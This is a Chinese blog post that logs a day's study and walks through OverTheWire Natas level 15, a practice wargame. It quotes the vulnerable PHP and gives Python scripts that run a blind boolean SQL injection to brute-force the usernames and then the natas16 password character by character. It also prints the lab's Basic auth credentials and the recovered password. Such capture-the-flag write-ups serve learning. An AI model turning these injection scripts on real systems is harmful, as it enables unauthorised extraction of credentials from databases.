170817 WarGames-Natas(15)

来源:互联网 发布:js自动计算日期时间差 编辑:程序博客网 时间:2024/06/07 04:04

1625-5 王子昂 总结《2017年8月17日》 【连续第319天总结】
A. WarGames-Natas
B.

Level 15

这关SQL注入明显比上一关难多了,PHP代码如下:

if(array_key_exists("username", $_REQUEST)) {     $link = mysql_connect('localhost', 'natas15', '<censored>');     mysql_select_db('natas15', $link);     $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";     if(array_key_exists("debug", $_GET)) {         echo "Executing query: $query<br>";     }     $res = mysql_query($query, $link);     if($res) {     if(mysql_num_rows($res) > 0) {         echo "This user exists.<br>";     } else {         echo "This user doesn't exist.<br>";     }     } else {         echo "Error in query.<br>";     }     mysql_close($link); } else { ?> 

顺带学习了一下HTTP请求的两种方法
GET方法,常用于获取服务器的信息,提交参数一般以”index.php?a=xxx&b=xxx”的形式
POST方法,常用于向服务器提交信息,提交的表单在内容部分,通过抓包才可修改

PHP代码中方便地提供了当使用GET方法提交,包含debug参数时会将SQL语句显示出来,大大降低了复杂度
本题中所有数据库的查询结果都被PHP封装起来,只显示用户存在/不存在/SQL错误
那么很明显,只能通过构造子句来爆破了
通过debug确认命令可行后写了脚本爆破
注意
1.users表下有多个项,需要逐个爆出并选择合适的
2.mysql不区分大小写,在通过length函数爆出长度为32时就不可能逐个尝试了;需要使用ascii+substr逐个截取字符转换成ASCII值进行比较

from urllib import request,parseimport redef httpcon(string,i):    url=r'http://natas15.natas.labs.overthewire.org/'    headers={'Authorization':r'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}#认证为username和password的b64,直接从浏览器抓包亦可    reqdata={'username':'" or left(username,'+str(i)+')="' + string + '" and "1"="1'}    reqdata = parse.urlencode(reqdata).encode('utf-8')    req=request.Request(url,data=reqdata,headers=headers)    page=request.urlopen(req)    string=page.read().decode()    pattern=r'<div id="content">\r\n(.+)<br>'    result=re.search(pattern,string)#正则提取关键反馈    if result:        return result.group(1)    else:        return "Connection failed."chars=[]chars1 = [x + 48 for x in range(10)]#10个数字chars2 = [x + 65 for x in range(26)]#26个大写字符集chars3 = [x + 97 for x in range(26)]#26个小写字符集chars.extend(chars1)chars.extend(chars2)#合并,MYSQL不区分大小写所以在爆username时无需小写集def brute(key,i):    flag=1    for char in chars:        string=key + chr(char)#临时key        #string=chr(char)        result=httpcon(string,i)#尝试连接        if(result != "Flase"):            if(result == "This user exists."):                print("find:",key+chr(char))                flag=0#找到下一个字符,即该key为中间量,无需加入users集                brute(key+chr(char),i+1)#递归调用            else:                print(i,string,result)    else:#遍历字符集后未找到下一个字符        if(flag):                result1.append(key)            #i=i+1result1=[]brute('',1)print("Finshed.\nThe users are:")for i in result1:    print(i)

没有用多线程,而是单纯的函数递归(因为懒得去找多线程怎么用了)
得到usernames:

ALICEBOBCHARLIENATAS16

很明显natas16是所需的username
将reqdata改为

reqdata={'username':'natas16" and ascii(substr(password,'+str(i)+',1))=ascii("'+string+'") and "1"="1'}

chars也要记得extend(chars3)(小写字母集)
因为与natas16对应的password只有一个,且ascii只能操作一个字符,必须使用substr剪切函数逐个取字符,所以把brute函数稍加改动:

def brute(key,i):    for char in chars:        string=chr(char)        result=httpcon(string,i)        if(result != "Flase"):            if(result == "This user exists."):                key=key + chr(char)                brute(key+chr(char),i+1)                break            else:                print(i,string,result)    else:        print("Finished.\nThe pass word is ",key)

遂得到pw:

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

C. 明日计划
Natas

原创粉丝点击